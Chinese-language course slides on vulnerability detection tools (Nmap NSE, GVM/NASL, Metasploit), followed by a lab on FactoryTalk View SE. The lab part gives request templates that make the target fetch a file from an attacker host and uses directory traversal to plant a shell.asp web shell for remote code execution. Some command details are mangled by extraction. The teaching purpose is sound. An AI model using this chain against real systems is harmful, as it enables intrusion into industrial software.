常見漏洞檢測工具介紹5.3.1Nmap36類別解釋鑒權(quán)腳本(auth)這些腳本處理目標(biāo)系統(tǒng)上的用戶認(rèn)證問題(或繞過它們)。注意:使用暴力破解方式獲取認(rèn)證憑據(jù)的腳本歸類為“brute”類別。廣播探測腳本(broadcast)該類別的腳本通常通過在本地網(wǎng)絡(luò)中以廣播方式來發(fā)現(xiàn)未在命令行中列出的主機。在命令行的腳本參數(shù)中使用"newtargets"可以允許在執(zhí)行這些腳本后自動將它們發(fā)現(xiàn)的主機添加到Nmap的掃描隊列中。暴力探測腳本(brute)這些腳本使用暴力破解攻擊來猜測遠程服務(wù)器的認(rèn)證憑據(jù)。Nmap包含了幾十個協(xié)議的暴力破解腳本,包括http-brute、oracle-brute、snmp-brute等。默認(rèn)執(zhí)行腳本(default)使用-sC、-A或—script=default命令行選項時默認(rèn)執(zhí)行的腳本,通常提供必要、快速、非破壞性的掃描功能。5.3

常見漏洞檢測工具介紹5.3.1Nmap37類別解釋主機探測腳本(discovery)這些腳本嘗試通過查詢公共注冊機構(gòu)、啟用SNMP的設(shè)備、目錄服務(wù)等主動發(fā)現(xiàn)更多關(guān)于網(wǎng)絡(luò)的信息。例如,html-title(獲取網(wǎng)站根路徑的標(biāo)題)、smb-enum-shares(枚舉Windows共享)和snmp-sysdescr(通過SNMP提取系統(tǒng)詳細信息)等。拒絕服務(wù)測試腳本(DoS)這個類別中的腳本可能會導(dǎo)致拒絕服務(wù)(DoS)。拒絕服務(wù)的結(jié)果有的是直接使用傳統(tǒng)拒絕服務(wù)攻擊導(dǎo)致的,但更常見的是由測試傳統(tǒng)漏洞時產(chǎn)生的副作用引起。這些測試有時會使易受攻擊的服務(wù)崩潰。漏洞利用腳本(exploit)這些腳本會主動嘗試?yán)靡阎穆┒慈肭帜繕?biāo)系統(tǒng)。外部交互腳本(external)這些腳本會發(fā)送數(shù)據(jù)到第三方數(shù)據(jù)庫或其他網(wǎng)絡(luò)資源。例如,whois-ip會連接到whois服務(wù)器以了解目標(biāo)地址。第三方可能記錄你發(fā)送給他們的所有內(nèi)容,這些內(nèi)容可能包括你的IP地址和掃描目標(biāo)的地址。大多數(shù)腳本涉及的流量嚴(yán)格限制在掃描計算機和掃描目標(biāo)之間,任何不符合這一要求的腳本都將放在此類別中。因此使用這種腳本時需要注意隱私問題。5.3

常見漏洞檢測工具介紹5.3.1Nmap38模糊測試腳本(fuzzer)該類別的腳本通過向目標(biāo)發(fā)送大量異常的數(shù)據(jù)包以探測目標(biāo)可能存在的漏洞。雖然這種技術(shù)可以用于查找軟件中未發(fā)現(xiàn)的錯誤和漏洞,但它是一個緩慢的過程并且需要大量帶寬。該類別中的一個示例是dns-fuzz,它向DNS服務(wù)器發(fā)送帶有少量缺陷的域請求,直到服務(wù)器崩潰或達到用戶指定的時間限制。入侵性/破壞性腳本(intrusive)該類腳本通常帶有入侵性/破壞性,因為它們有可能會導(dǎo)致目標(biāo)系統(tǒng)崩潰。這些腳本的執(zhí)行通常會消耗掃描目標(biāo)的大量資源(如帶寬或CPU時間),因此經(jīng)常被掃描目標(biāo)的防御系統(tǒng)視為惡意從而被記錄或屏蔽。例如,http-open-proxy(嘗試將目標(biāo)服務(wù)器用作HTTP代理)和snmp-brute(嘗試通過發(fā)送常見值(如public、private和cisco)猜測設(shè)備的SNMP社區(qū)字符串)等腳本都屬于這個類別。惡意軟件探測腳本(malware)這些腳本用于測試目標(biāo)平臺是否被惡意軟件或后門感染。例如,smtp-strangeport用于檢測運行在不尋常端口號上的SMTP服務(wù)器,而auth-spoof則可檢測提供虛假應(yīng)答的identd欺騙,而這些特征通常與惡意軟件感染有關(guān)。5.3

常見漏洞檢測工具介紹5.3.1Nmap39安全腳本(safe)這些腳本在執(zhí)行時不會使服務(wù)崩潰、不會使用大量網(wǎng)絡(luò)帶寬或其他資源,也不會利用安全漏洞,因此被歸類為“安全”類別。盡管如此,我們?nèi)圆荒鼙WC它們不會引起負面反應(yīng)。這些腳本主要用于一般的網(wǎng)絡(luò)發(fā)現(xiàn)。例如,ssh-hostkey(獲取SSH主機密鑰)和html-title(從網(wǎng)頁中獲取標(biāo)題)。除去“version”類別中的腳本,任何其他類別的腳本要么屬于“safe”類別要么屬于“intrusive”類別。版本探測腳本(version)這個特殊類別中的腳本是對服務(wù)與版本檢測基本功能的擴展,不能被顯式地選擇。只有在請求版本檢測(使用命令行參數(shù)-sV)時才會被選擇運行。該類腳本的示例包括skypev2-version,pptp-version和iax2-version等。漏洞掃描腳本(vuln)這種類型的腳本用于檢測一些特殊的已知漏洞,并且僅對發(fā)現(xiàn)的漏洞進行報告而不加以利用。像realvnc-auth-bypass、afp-path-vuln等腳本都屬于這一類別。5.3

常見漏洞檢測工具介紹5.3.1Nmap40一個腳本可以同時屬于幾個不同的類別。例如腳本enip-info.nse同時屬于discovery和version類別。一個NSE腳本可分為頭部(Head)、規(guī)則(Rule)、動作(Action)三個部分。其中頭部用于對整個腳本進行描述性說明,通常包括description,categories,dependencies,author,以及l(fā)icense等幾個字段,其中categories字段定義了該腳本所屬的類別。規(guī)則部分包括prerule、portrule、hostrule以及postrule四種不同規(guī)則,每種規(guī)則對應(yīng)一個Lua函數(shù),函數(shù)的返回值為“True”或“False”,用于判斷后面的動作部分是否執(zhí)行。動作部分是整個NSE腳本的核心,對應(yīng)一個Lua函數(shù),用于執(zhí)行核心的探測、分析等功能。NSE腳本的分類5.3

常見漏洞檢測工具介紹5.3.1Nmap415.在工業(yè)控制系統(tǒng)中使用Nmap進行漏洞檢測由于對工業(yè)控制系統(tǒng)正常運行的干擾可能會帶來設(shè)備損壞、生產(chǎn)事故等生命財產(chǎn)損失,通常不允許使用任何網(wǎng)絡(luò)掃描/漏洞檢測工具對運行中的工控系統(tǒng)進行安全檢查。但為了提高工控系統(tǒng)的安全防御能力,有必要對處于非生產(chǎn)狀態(tài)(如停機檢修、冗余備用或安全靶場)的工控系統(tǒng)中的信息類資產(chǎn)進行網(wǎng)絡(luò)探查和漏洞檢測。同時在必要時應(yīng)遵循輕量化的原則,盡量減小探測流量對工控網(wǎng)絡(luò)的影響。因此,有必要探究Nmap的輕量化使用規(guī)則,主要包括以下方面:使用合適的發(fā)包延遲。使用“-T”或“—scan-delay”命令行參數(shù)指定一個較長的發(fā)包延遲時間,這可以降低單位時間的探測流量。如參數(shù)“-T”、“-T2”表示在兩次發(fā)包之間分別間隔15秒和0.4秒。參數(shù)“—scan-delay”可以指定一個任意的時間間隔,例如“—scan-delay=1s”表示在兩次發(fā)包之間間隔1秒。5.3

常見漏洞檢測工具介紹5.3.1Nmap42使用合適的并發(fā)數(shù)量。Nmap可以同時對多個目標(biāo)進行并發(fā)探測,使用“--max-parallelism”命令行參數(shù)可以指定最大的并發(fā)數(shù)量,這同樣可以降低單位時間內(nèi)的探測流量。例如“--max-parallelism=1”表示同一時刻只對一個目標(biāo)進行探測盡量使用準(zhǔn)確的主機與端口地址。不要以大范圍網(wǎng)段(如/24)的形式給出主機地址,也不要以大的端口范圍(如1-65535)給出端口列表。應(yīng)盡量精確的給出探測目標(biāo)的主機地址并根據(jù)目標(biāo)使用的工控協(xié)議/服務(wù)的特點盡量精確給出端口列表。5.3

常見漏洞檢測工具介紹5.3.1Nmap43不要按類別調(diào)用NSE腳本。對調(diào)用的NSE腳本的功能要進行嚴(yán)格審查,以確保其沒有破壞性或不會產(chǎn)生大量流量。因此在未對某一類別包含的所有腳本進行審查前不要使用“—script={類別}”命令行參數(shù)按類別調(diào)用腳本。也不要使用“-sC”、“-sV”、“-A”等默認(rèn)調(diào)用某一類別腳本的命令行參數(shù)。應(yīng)根據(jù)探測目標(biāo)的特點編寫特有的適應(yīng)于工控系統(tǒng)的NSE腳本。省略非必要的域名解析/逆向解析功能。Nmap默認(rèn)會對給出的域名地址進行解析,同時也會對給出的IP地址默認(rèn)進行逆向域名解析。因此為降低不必要的流量,應(yīng)避免使用域名地址同時使用“-n”命令行參數(shù)禁止逆向域名解析。5.3

常見漏洞檢測工具介紹5.3.1Nmap44GVM介紹經(jīng)過多年的發(fā)展,OpenVAS發(fā)展成為最好用的開源漏洞掃描工具,功能非常強大,甚至可以與一些商業(yè)的漏洞掃描工具媲美。OpenVAS可以不斷從NVT、SCAP、CERT漏洞數(shù)據(jù)庫更新漏洞信息,針對已知的漏洞庫中的漏洞,使用可配置的漏洞掃描引擎從遠程檢測資產(chǎn)中存在的安全問題。從版本10開始,OpenVAS改名為GVM,而OpenVAS被視作GVM框架中的一個部分,現(xiàn)在OpenVAS名稱中的“S”用來指代“Scanner(掃描器)”,而不再是“System(系統(tǒng))”。GVM(GreenboneVulnerabilityManagement),是GreenboneNetworks公司開發(fā)的漏洞管理框架的開源版本,GVM的早期名稱是OpenVAS(OpenVulnerabilityAssessmentSystem,開放式漏洞評估系統(tǒng)),用來識別遠程主機、Web應(yīng)用存在的各種漏洞。5.3

常見漏洞檢測工具介紹5.3.2GVM45GVM架構(gòu)GVM框架的整體結(jié)構(gòu)如下圖所示,按功能主要可分為三個部分,分別是:GSA部分、GVM部分以及SCAN部分,下面分別對這三個部分做一下簡要介紹。5.3

常見漏洞檢測工具介紹5.3.2GVM46①

SCAN部分

負責(zé)調(diào)用掃描器對目標(biāo)系統(tǒng)進行漏洞掃描,并將掃描結(jié)果送至GVM部分。OpenVAS掃描器組成:

ospd-openvas和openvas-scannerOpenVAS掃描器大致工作過程:ospd-openvas組件通過開放掃描器協(xié)議OSP控制openvas-scanner組件,openvas-scanner組件調(diào)用漏洞測試腳本VTs對目標(biāo)系統(tǒng)執(zhí)行掃描,掃描完成后ospd-openvas組件將執(zhí)行報告、掃描結(jié)果通過OSP協(xié)議發(fā)送到GVM部分的管理后臺程序gvmd。GreenboneNetworks公司維護一個更新源GCF(GreenboneCommunityFeed),定期更新漏洞測試腳本VTs和漏洞關(guān)聯(lián)信息SCAP、CERT等數(shù)據(jù)。

其中掃描器可以使用GVM自帶的OpenVAS掃描器,也可以使用用戶定制的符合OSP協(xié)議的掃描器。5.3

常見漏洞檢測工具介紹5.3.2GVM47②GVM部分

為GVM框架提供完整的漏洞管理服務(wù)。服務(wù)主體:

漏洞管理守護進程組件gvmd(GreenboneVulnerabilityManagementDaemon)和PostgreSQL數(shù)據(jù)庫。gvmd組件通過開放掃描器協(xié)議(OSP)控制SCAN部分的掃描器。該服務(wù)本身提供基于XML的無狀態(tài)Greenbone管理協(xié)議(GMP)。gvmd還控制一個PostgreSQL數(shù)據(jù)庫,用來存放所有配置和掃描結(jié)果等數(shù)據(jù)。此外,gvmd還負責(zé)用戶管理,包括對組和角色的權(quán)限控制。最后,該服務(wù)具有用于計劃任務(wù)和其他事件的內(nèi)部運行時系統(tǒng)。5.3

常見漏洞檢測工具介紹5.3.2GVM48③GSA部分GSA(GreenboneSecurityAssistant)部分是基于React框架開發(fā)的Web界面,包括一個gsad(GreenboneSecurityAssistantDaemon)組件。

gsad組件通過GMP協(xié)議與GVM部分的gvmd組件通信以執(zhí)行控制掃描任務(wù)、查看掃描結(jié)果、瀏覽漏洞信息等操作。

Web界面的默認(rèn)訪問地址為:https://localhost:9392。5.3

常見漏洞檢測工具介紹5.3.2GVM49GVM框架的運行環(huán)境

GVM框架使用C語言編寫,其中用到了一些只有在linux系統(tǒng)中才可以使用的第三方庫,所以目前GVM框架只可以在linux系統(tǒng)中安裝使用。5.3

常見漏洞檢測工具介紹5.3.2GVM50什么是NASL語言?NASL(NessusAttackScriptingLanguage)是一個為網(wǎng)絡(luò)安全掃描工具Nessus設(shè)計的腳本語言。其設(shè)計初衷是允許任何人都可以快速地針對新出現(xiàn)的安全漏洞編寫出測試插件,而不用考慮不同操作系統(tǒng)間的兼容性問題。同時,NASL還盡量簡化功能以減小資源消耗提高并發(fā)能力。為提高安全性,使用NASL語言編寫的腳本只能用于針對特定的目標(biāo)主機進行測試,使編寫者難以將編寫的腳本用于惡意用途。什么是NVT腳本?NVT腳本就是使用NASL語言編寫的漏洞測試腳本,在進行漏洞掃描時由Openvas掃描器根據(jù)用戶配置信息選取腳本對目標(biāo)主機進行安全測試,最后將測試結(jié)果信息返還給服務(wù)端并寫入數(shù)據(jù)庫。5.3

常見漏洞檢測工具介紹5.3.2GVM51NVT腳本結(jié)構(gòu)一個典型的NVT腳本包括三個部分:

注冊(register)部分

引用類庫(include)信息

攻擊(attack)部分注冊部分每一個NVT腳本都有一個下面這樣的結(jié)構(gòu):if(description){#registerinformationhere...exit(0);}

這個結(jié)構(gòu)中的內(nèi)容負責(zé)向服務(wù)端提供諸如:腳本名稱、漏洞編號、所屬家族、分類、影響范圍、依賴項等信息,服務(wù)端根據(jù)這些信息對腳本進行注冊分類管理,并在執(zhí)行本腳本前提前先執(zhí)行好所依賴的腳本。5.3

常見漏洞檢測工具介紹5.3.2GVM52引用類庫信息NASL除了自身固有的內(nèi)部函數(shù)外,還允許用戶使用外部類庫中的函數(shù),這些函數(shù)被封裝在以“inc”為后綴名的文件中,用戶可以在編寫的NVT腳本中通過“include(“*.inc”);”語句包含這些文件來使用其中定義的函數(shù)。攻擊部分

攻擊部分是NVT腳本中最核心的部分,負責(zé)具體的安全掃描、漏洞測試工作,通常包括目標(biāo)檢測、連接、構(gòu)造/發(fā)送/接收數(shù)據(jù)、信息比對匹配以及測試結(jié)果上報等內(nèi)容。5.3

常見漏洞檢測工具介紹5.3.2GVM53NVT腳本常見寫法注冊部分script_oid(".4.1.25623.1.0.******");——腳本的編號,用戶通常只需要修改最后一個字段,即上面語句中的”******”部分。注意這個編號不能和已有的重復(fù);script_version("……");script_cve_id("CVE-yyyy-xxxxx");——腳本的版本;——漏洞的CVE編號;script_tag(name:"creation_date",value:"……");——腳本創(chuàng)建日期;script_tag(name:"last_modification",value:"……");——腳本最后修改日期;script_tag(name:"cvss_base",value:"x.y");——漏洞的CVSS分值;script_tag(name:"cvss_base_vector",value:"……");——漏洞測試的QoD分?jǐn)?shù),表示漏洞測試的可靠性;5.3

常見漏洞檢測工具介紹5.3.2GVM54script_category(……);——腳本所屬分類,不同分類有不同的執(zhí)行優(yōu)先級,相同優(yōu)先級按照腳本的編號順序執(zhí)行;script_family("……");——腳本所屬家族,用戶可自定義;——執(zhí)行此腳本需要的知識庫中的鍵;script_add_preference(name:"……",type:"……",value:"……",id:……);——為腳本添加配置選項。其中“name”是選項名稱;“type”是選項類型,可以是單選、復(fù)選、輸入等類型;“value”是選項默認(rèn)值;“id”是選項編號;script_dependencies("*.nasl,……");script_mandatory_keys("……");——執(zhí)行此腳本需要依賴的腳本;——漏洞詳細描述;script_xref(name:"……",value:"……");——漏洞參考信息;script_tag(name:"summary",value:"……”);——漏洞簡要描述,長度只有一行;script_tag(name:"insight",value:"……”);5.3

常見漏洞檢測工具介紹5.3.2GVM55——腳本版權(quán)信息。script_tag(name:"impact",value:"……");——漏洞可能導(dǎo)致的后果;script_tag(name:"affected",value:"……”);——漏洞的影響范圍;script_tag(name:"solution",value:"……");——漏洞的解決方案;script_tag(name:"solution_type",value:"……");——漏洞解決方案的類型;script_tag(name:"qod_type",value:"……");——QoD類型;script_copyright("……");5.3

常見漏洞檢測工具介紹5.3.2GVM56引用類庫信息部分引用類庫信息部分只有一種“include”語句:攻擊部分攻擊部分通過調(diào)用內(nèi)建的或外部類庫的函數(shù)執(zhí)行安全測試,常用的函數(shù)簡單介紹:include("*.inc");——“*.inc”為引用的類庫文件,可以包含多個。get_port_state(port);display("……");get_kb_item("……");——打印輸出信息,只在調(diào)試時有用;——從知識庫中讀取指定名稱的鍵的值;——檢測“port”端口的狀態(tài),打開返回“1”,關(guān)閉返回“0”;set_kb_item(name:"……",value:"……");——向知識庫中指定名稱的鍵寫入鍵值;soc=open_sock_tcp(port);——在“port”端口打開一個TCP套接字;5.3

常見漏洞檢測工具介紹5.3.2GVM57——將文本“report”輸出到掃描報告?!皃ort”指的是漏洞相關(guān)的TCP或UDP端口;——在“port”端口打開一個UDP套接字;soc=open_sock_udp(port);req=raw_string(0xab,0xcd,……);——構(gòu)造16進制數(shù)據(jù)“0xabcd……”send(socket:soc,data:req);——通過“soc”套接字發(fā)送數(shù)據(jù)“req”;ret=recv(socket:soc,length:len);——通過“soc”套接字接收“l(fā)en”字節(jié)的數(shù)據(jù);close(soc);——關(guān)閉套接字;egrep(pattern:pat,string:str);——在字符串“str”中匹配格式字符串“pat”;security_message(data:report,port:port);5.3

常見漏洞檢測工具介紹5.3.2GVM58NVT腳本調(diào)試

編寫好NVT腳本后,可使用openvas-nasl工具進行調(diào)試。調(diào)試命令常用參數(shù)如下:openvas-nasl-X-t<target>-i<include-dir>-k<key=value>script.naslscript.nasl為待調(diào)試的腳本;“-X”指不對腳本進行簽名驗證;“target”指定測試目標(biāo);“include-dir”指定第三方庫文件所在的目錄;“key=value”為腳本中用到的知識庫中的鍵賦值。5.3

常見漏洞檢測工具介紹5.3.2GVM59將NVT腳本集成到GVM的插件庫

用戶自己編寫的NVT腳本經(jīng)調(diào)試沒有問題后,需要集成到GVM的NVT插件庫,才能被GVM識別使用。

具體步驟:i.在“/var/lib/openvas/plugins”目錄下執(zhí)行“grep-rOID”命令

其中“OID”是腳本中的“script_oid();”語句指定的值,檢查腳本的OID是否與插件庫中已有的OID有重復(fù),若有則重新指定該值;ii.將待集成的NVT腳本拷貝至“/var/lib/openvas/plugins/private”目錄。若沒有“private“目錄則進行手動創(chuàng)建;iii.在postgresql數(shù)據(jù)庫中添加“gvm”用戶,設(shè)置密碼并賦予操作gvmd數(shù)據(jù)庫的權(quán)限;5.3

常見漏洞檢測工具介紹5.3.2GVM60iv.設(shè)置postgresql數(shù)據(jù)庫的認(rèn)證方式為“password”或“trust”;v.為gvmd配置用于連接數(shù)據(jù)庫的用戶名和密碼;vi.執(zhí)行命令“systemctlrestartospd-openvas”,重載NVTcache;vii.執(zhí)行命令“sudo-ugvm-ggvmgvmd--rebuild”,重建數(shù)據(jù)庫;等待數(shù)據(jù)庫重建完成后,登錄GSAWeb訪問接口,進入“SecInfo”——>“NVTs”頁面查看腳本是否添加成功。5.3

常見漏洞檢測工具介紹5.3.2GVM61Metasploit介紹MSF是一個使用Ruby語言編寫的開源的模塊化滲透測試平臺,可用于開發(fā)、測試和執(zhí)行漏洞利用代碼。它包含大量的漏洞利用模塊,可以自動化執(zhí)行對目標(biāo)系統(tǒng)的信息收集、漏洞探測、漏洞利用等滲透測試工作,同時提供了一個易于使用的界面。MSF支持多種操作系統(tǒng)和平臺,包括Windows、Linux、MacOSX等。它可以與其他安全工具和漏洞掃描器配合使用,如Nmap、Nessus、GVM等,從而提高漏洞檢測、滲透測試的效率和準(zhǔn)確性。Metasploit是一款滲透測試和漏洞檢測工具,由HDMoore在2003年開發(fā)。最初Metasploit完全開源,在2009年被Rapid7公司收購后采用Open-core模式推出付費商業(yè)版。目前Metasploit共有兩個版本,分別是免費開源的MetasploitFramework(簡稱MSF)以及收費的商業(yè)版MetasploitPro。5.3

常見漏洞檢測工具介紹5.3.3Metasploit62MSF整體結(jié)構(gòu)MSF的整體架構(gòu)如下圖所示,可分為基礎(chǔ)庫、模塊(Modules)、接口(Interfaces)、功能程序、插件(Plugins)、實用工具(Tools)六個部分。5.3

常見漏洞檢測工具介紹5.3.3Metasploit631)基礎(chǔ)庫基礎(chǔ)庫又分為REX、MSF-Core、MSF-Base三部分。其中REX是整個框架所依賴的最基礎(chǔ)的一些組件,用于為框架提供一些基礎(chǔ)功能,如套接字處理、協(xié)議實現(xiàn)、文本轉(zhuǎn)換、數(shù)據(jù)庫支持等。MSF-Core提供了供上層模塊及插件調(diào)用的API接口。MSF-Base提供用于支持用戶接口與功能程序調(diào)用框架本身功能及集成模塊的API接口。2)模塊模塊是一段通過MSF框架所裝載、集成并對外提供滲透測試功能的程序代碼。通??煞譃檩o助模塊(Auxiliaries)、滲透攻擊模塊(Exploits)、后滲透攻擊模塊(Post)、攻擊載荷模塊(Payloads)、編碼器模塊(Encoders)、空指令模塊(Nops)以及躲避模塊(Evasion)。MSF所有的漏洞測試都是基于模塊進行的。MSF各種模塊的功能介紹如下表所示:5.3

常見漏洞檢測工具介紹5.3.3Metasploit64模塊名模塊功能模塊介紹Auxiliaries輔助模塊用于執(zhí)行端口掃描、密碼破解、模糊測試等輔助滲透工作的模塊。Exploits漏洞利用模塊用于針對目標(biāo)存在的漏洞進行攻擊、利用的模塊。Payloads攻擊載荷模塊漏洞利用(exploits)期間在目標(biāo)機器上加載執(zhí)行的模塊,比如反彈shell、下載和執(zhí)行程序等。Post后滲透階段模塊漏洞利用成功后在目標(biāo)機執(zhí)行的操作,包括權(quán)限提升、敏感數(shù)據(jù)獲取、植入后門等。Encoders編碼器模塊包含各種編碼工具,用于對payload進行編碼以去掉壞字符或繞過目標(biāo)機防病毒系統(tǒng)的過濾。Nops空指令模塊為payload填充一定長度的空操作或無關(guān)操作指令,從而提供一個安全著陸區(qū),避免程序執(zhí)行受到內(nèi)存地址隨機化、返回地址計算偏差等因素的影響,提高滲透攻擊的可靠性。Evasion躲避模塊用于規(guī)避防御的模塊,例如防病毒規(guī)避、AppLocker繞過、軟件限制策略(SRP)繞過等。MSF模塊功能與介紹:5.3

常見漏洞檢測工具介紹5.3.3Metasploit653)接口MSF用戶接口包括一個控制臺終端msfconsole和一個命令行接口msfcli。用戶可通過這兩種接口使用MSF對目標(biāo)執(zhí)行滲透測試操作。其中msfconsole是最常用的用戶接口,通過在控制臺中執(zhí)行“msfconsole”命令即可進入msfconsole終端。4)插件MSF插件能夠擴充MSF框架的功能。通過插件可以集成Nessus、OpenVAS等其他的安全工具,為msfconsole添加新的命令,為用戶提供新的功能。5.3

常見漏洞檢測工具介紹5.3.3Metasploit665)功能程序除了使用用戶接口訪問MSF的主體功能之外,MSF還提供了一系列可直接運行的功能程序以完成一些特定任務(wù)。比如msfpayload、msfencode和msfvenom可以將攻擊載荷封裝為可執(zhí)行文件、C代碼、Java代碼等多種形式,并可以進行各種類型的編碼。msfpescan/msfelfscan等功能程序提供了在PE、ELF等多種格式的可執(zhí)行文件中搜索特定指令的功能。6)實用工具實用工具部分包括一些提供如內(nèi)存轉(zhuǎn)儲、密碼破解等輔助功能的命令行或腳本程序。5.3

常見漏洞檢測工具介紹5.3.3Metasploit67MSF安裝MetasploitFramework的官方安裝包每日都會進行更新,可選擇最新版本或近期的某一個版本下載進行安裝。具體安裝方法可參考官方的安裝說明:/docs/using-metasploit/getting-started/nightly-installers.html。在Windows中進行安裝時需要首先關(guān)閉病毒防護軟件。KaliLinux系統(tǒng)中預(yù)裝了MetasploitFramework,可以直接使用。5.3

常見漏洞檢測工具介紹5.3.3Metasploit68msfconsole常用命令在msfconsole終端中執(zhí)行“?”或“help”命令,可查看msfconsole支持的命令集。5.3

常見漏洞檢測工具介紹5.3.3Metasploit69msfconsole常用命令命令集包括核心命令、操作模塊的命令、操作數(shù)據(jù)庫的命令等多種類型,其中比較常用的命令如下表所示:命令功能search搜索含有指定關(guān)鍵字的模塊use選擇使用指定模塊showpayload顯示該模塊支持的payloadshowoptions顯示該模塊可設(shè)置的參數(shù)info查看模塊詳細信息set/setg設(shè)置模塊參數(shù)/全局變量的值unset/unsetg取消設(shè)置的模塊參數(shù)/全局變量值load/unload調(diào)用/取消調(diào)用其他插件back從當(dāng)前上下文返回exploit/run運行當(dāng)前模塊進行滲透攻擊sessions會話管理exit/quit退出msfconsole終端5.3

常見漏洞檢測工具介紹5.3.3Metasploit70MSF的一般使用流程使用MSF進行滲透測試/漏洞檢測的一般流程為:信息收集——掃描網(wǎng)絡(luò)以發(fā)現(xiàn)目標(biāo)并搜尋可用漏洞,可使用自身模塊、插件結(jié)合Nmap、OpenVAS、Nessus等第三方工具進行目標(biāo)發(fā)現(xiàn)和漏洞掃描操作。根據(jù)發(fā)現(xiàn)的漏洞搜索并選擇一個滲透攻擊(漏洞利用)模塊并進行相應(yīng)參數(shù)配置。選擇攻擊載荷模塊并為其配置編碼方案和相應(yīng)參數(shù),最后生成有效攻擊載荷。檢查目標(biāo)漏洞是否可利用,若可利用則執(zhí)行滲透攻擊。漏洞成功利用后進行提權(quán)、獲取敏感數(shù)據(jù)等后滲透階段的操作。5.3

常見漏洞檢測工具介紹5.3.3Metasploit71在工業(yè)控制系統(tǒng)中使用MSF由于MSF偏重對漏洞進行利用(Exploit)的特點,使用MSF對工控系統(tǒng)進行漏洞檢測、滲透測試通常具有破壞性,屬于普通級工控漏洞檢測技術(shù),因此需要確保目標(biāo)工控系統(tǒng)處于非生產(chǎn)狀態(tài)(如處于停機檢修狀態(tài)的系統(tǒng)、冗余備用系統(tǒng)或安全靶場)。5.3

常見漏洞檢測工具介紹5.3.3Metasploit72一、實驗?zāi)康耐ㄟ^對工控軟件FactoryTalkViewSE中存在的幾個設(shè)計、配置類型漏洞的分析測試,了解漏洞的成因和危害。掌握使用MetasploitFramework進行漏洞利用、滲透測試的基本方法。二、實驗要求(1)實驗?zāi)繕?biāo)使用MetasploitFramework的rockwell_factorytalk_rce漏洞利用模塊遠程控制運行了FactoryTalkViewSE軟件的目標(biāo)機。(2)實驗環(huán)境一臺安裝有VMwareWorkstation15Pro的物理機。一臺安裝有MetasploitFramework,版本6.0的虛擬機,例如一臺KaliLinux虛擬機。該機做為攻擊機。一臺安裝有FactoryTalkViewSE,版本11.00.00.230的Windows10虛擬機。該機做為目標(biāo)機。5.4工控軟件漏洞實踐73三、實驗分析(1)FactoryTalkViewSE簡介FactoryTalkViewSE(FactoryTalkViewSiteEdition)是羅克韋爾自動化公司開發(fā)的一款分布式HMI軟件,用戶只需一次設(shè)計圖形顯示畫面,然后將其存儲在服務(wù)器上,就可以在網(wǎng)絡(luò)上任何一個客戶端訪問這些畫面,實現(xiàn)高效的HMI開發(fā)。(2)漏洞原理分析FactoryTalkViewSE存在的漏洞及原理FactoryTalkViewSE軟件安裝后會開啟MicrosoftIIS服務(wù),并通過IIS服務(wù)向客戶端開放幾個REST請求路徑。其中一個路徑是/rsviewse/hmi_isapi.dll,它通過調(diào)用一個ISAPIDLL處理程序的相應(yīng)功能,為客戶端提供遠程管理服務(wù)器上的FactoryTalk工程的能力。在此過程中,會產(chǎn)生以下漏洞:①未經(jīng)身份驗證的遠程項目管理②目錄遍歷③競爭條件④信息泄露漏洞5.4工控軟件漏洞實踐74①未經(jīng)身份驗證的遠程項目管理hmi_isapi.dll的一個功能是StartRemoteProjectCopy,可以通過HTTPGET請求來啟動此操作:http://<TARGET>/rsviewse/hmi_isapi.dllStartRemoteProjectCopy&<PROJECT_NAME>&<RANDOM_STRING>&<LHOST>其中:<TARGET>指運行FactoryTalkViewSE的服務(wù)器IP地址。<PROJECT_NAME>是服務(wù)器上的現(xiàn)有工程名稱。<RANDOM_STRING>是一個隨機字符串。<LHOST>是攻擊者的主機IP地址。5.4工控軟件漏洞實踐75發(fā)送這個請求后,如果<TARGET>主機上存在名稱為<PROJECT_NAME>的工程,<TARGET>就會向<LHOST>發(fā)出HTTPGET請求:http://<LHOST>/rsviewse/hmi_isapi.dll?BackupHMI&<RNA_ADDRESS>&<PROJECT_NAME>&1&1其中<RNA_ADDRESS>是FactoryTalkViewSE使用的內(nèi)網(wǎng)地址。<LHOST>可以完全忽略請求內(nèi)容,只需要向<TARGET>返回如下響應(yīng):HTTP/1.1OK(...)<FILENAME>5.4工控軟件漏洞實踐76收到此響應(yīng)后,<TARGET>將向<LHOST>發(fā)送HTTPGET請求:http://<LHOST>/rsviewse/_bak/<FILENAME>之后<LHOST>向<TARGET>返回響應(yīng),響應(yīng)內(nèi)容為文件<FILENAME>的內(nèi)容:<FILE_DATA><FILE_DATA>內(nèi)容可以為任意值。隨后<TARGET>將向<FACTORYTALK_HOME>\_bak\<FILENAME>位置寫入<FILE_DATA>數(shù)據(jù),然后根據(jù)文件內(nèi)容執(zhí)行某些操作(由于這些操作和漏洞利用無關(guān),因此不做具體分析),最后<TARGET>刪除<FILENAME>文件。所有這些動作都在不到一秒鐘的時間內(nèi)發(fā)生。<FACTORYTALK_HOME>的默認(rèn)值為C:\Users\Public\Documents\RSViewEnterprise。5.4工控軟件漏洞實踐77②目錄遍歷通過第一個漏洞<LHOST>已可以向<TARGET>的

<FACTORYTALK_HOME>\_bak\<FILENAME>位置寫入任意內(nèi)容,但還不能實現(xiàn)遠程代碼執(zhí)行(RCE)。而實現(xiàn)RCE的最簡單方法是將帶有可執(zhí)行腳本的ASP動態(tài)頁面文件寫入IIS目錄。為此需要找到一個可用的IIS目錄,并且能夠向其中寫入任意內(nèi)容/名稱的文件。為能向任意目錄寫入任意文件,可以使用FactoryTalkViewSE第二個漏洞——目錄遍歷漏洞。由于<FILENAME>是由<LHOST>返回的,并且可以包括路徑,因此可以使用“../”構(gòu)造任意路徑進行目錄遍歷攻擊。5.4工控軟件漏洞實踐78另外,F(xiàn)actoryTalkViewSE軟件在安裝后會自動啟用IIS服務(wù)并把<FACTORYTALK_HOME>\SE\HMIProjects\目錄設(shè)為IIS的虛擬目錄,因此如果向該目錄寫入一個ASP動態(tài)頁面文件,對這個ASP文件進行遠程訪問時就會自動觸發(fā)其中腳本,從而達到遠程代碼執(zhí)行的目的。綜合以上兩點,可以將第一個漏洞利用過程中的<FILENAME>設(shè)置為:

../SE/HMI項目/shell.asp

<TARGET>將向<LHOST>請求shell.asp文件內(nèi)容并寫入到

<FACTORYTALK_HOME>\SE\HMIProjects\shell.asp文件中

